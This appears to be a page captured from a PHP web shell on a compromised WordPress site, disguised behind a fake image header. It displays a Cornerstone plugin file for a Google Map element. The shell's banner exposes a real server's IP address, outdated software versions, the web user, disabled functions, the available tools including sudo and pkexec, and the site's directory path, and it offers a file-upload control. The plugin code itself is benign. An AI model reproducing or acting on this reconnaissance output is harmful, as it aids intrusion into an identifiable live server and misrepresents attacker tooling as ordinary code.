????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.222.227.24 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/elements/_alternate/ |
Upload File : |
<?php class CS_Google_Map extends Cornerstone_Element_Base { public function data() { return array( 'name' => 'google-map', 'title' => __( 'Google Map', 'cornerstone' ), 'section' => 'media', 'description' => __( 'Google Map description.', 'cornerstone' ), 'supports' => array( 'id', 'class', 'style' ), 'renderChild' => true ); } public function controls() { $this->addControl( 'elements', 'sortable', __( 'Map Markers', 'cornerstone' ), __( 'Optionally include markers to your map to specify certain locations.', 'cornerstone' ), NULL, array( 'element' => 'google-map-marker', 'newTitle' => __( 'Map Marker %s', 'cornerstone' ) ) ); $this->addControl( 'api_key', 'text', __( 'Google API Key', 'cornerstone' ), __( 'Optionally provide a Browser key from your Google developer console.', 'cornerstone' ), '' ); $this->addControl( 'lat', 'text', __( 'Latitude', 'cornerstone' ), __( 'Enter the latitude for the center of your map.', 'cornerstone' ), '40.7056308' ); $this->addControl( 'lng', 'text', __( 'Longitude', 'cornerstone' ), __( 'Enter the longitude for the center of your map.', 'cornerstone' ), '-73.9780035' ); $this->addControl( 'zoom', 'number', __( 'Zoom', 'cornerstone' ), __( 'Specify a number between 1 and 18 for the zoom level of your map.', 'cornerstone' ), '12' ); $this->addControl( 'zoom_control', 'toggle', __( 'Zoom Control', 'cornerstone' ), __( 'Enable to display the zoom controls for your map.', 'cornerstone' ), false ); $this->addControl( 'drag', 'toggle', __( 'Draggable', 'cornerstone' ), __( 'Enable to make your map draggable.', 'cornerstone' ), false ); $this->addControl( 'height', 'text', __( 'Height', 'cornerstone' ), __( 'Specify a custom height for your map if desired. You may use pixels, ems, or percentages.', 'cornerstone' ), '' ); $this->addControl( 'hue', 'color', __( 'Map Hue', 'cornerstone' ), __( 'Specifying a hexadecimal map hue will give your map a different color palette.', 'cornerstone' ), false, array( 'output_format' => 'hex' ) ); $this->addControl( 'no_container', 'toggle', __( 'No Container', 'cornerstone' ), __( 'Select to remove the container around the map.', 'cornerstone' ), false ); } public function render( $atts ) { extract( $atts ); $elements = ( isset( $elements ) ) ? $elements : array(); $contents = ''; foreach ( $elements as $e ) { $contents .= '[x_google_map_marker lat="' . $e['lat'] . '" lng="' . $e['lng'] . '" start_open="' . $e['start_open'] .'" info="' . cs_clean_shortcode_att( $e['info'] ) . '" image="' . $e['image'] . '"]'; } $shortcode = "[x_google_map api_key=\"$api_key\" lat=\"{$lat}\" lng=\"{$lng}\" zoom=\"{$zoom}\" zoom_control=\"{$zoom_control}\" drag=\"{$drag}\" height=\"{$height}\" hue=\"{$hue}\" no_container=\"{$no_container}\" {$extra}]{$contents}[/x_google_map]"; return $shortcode; } }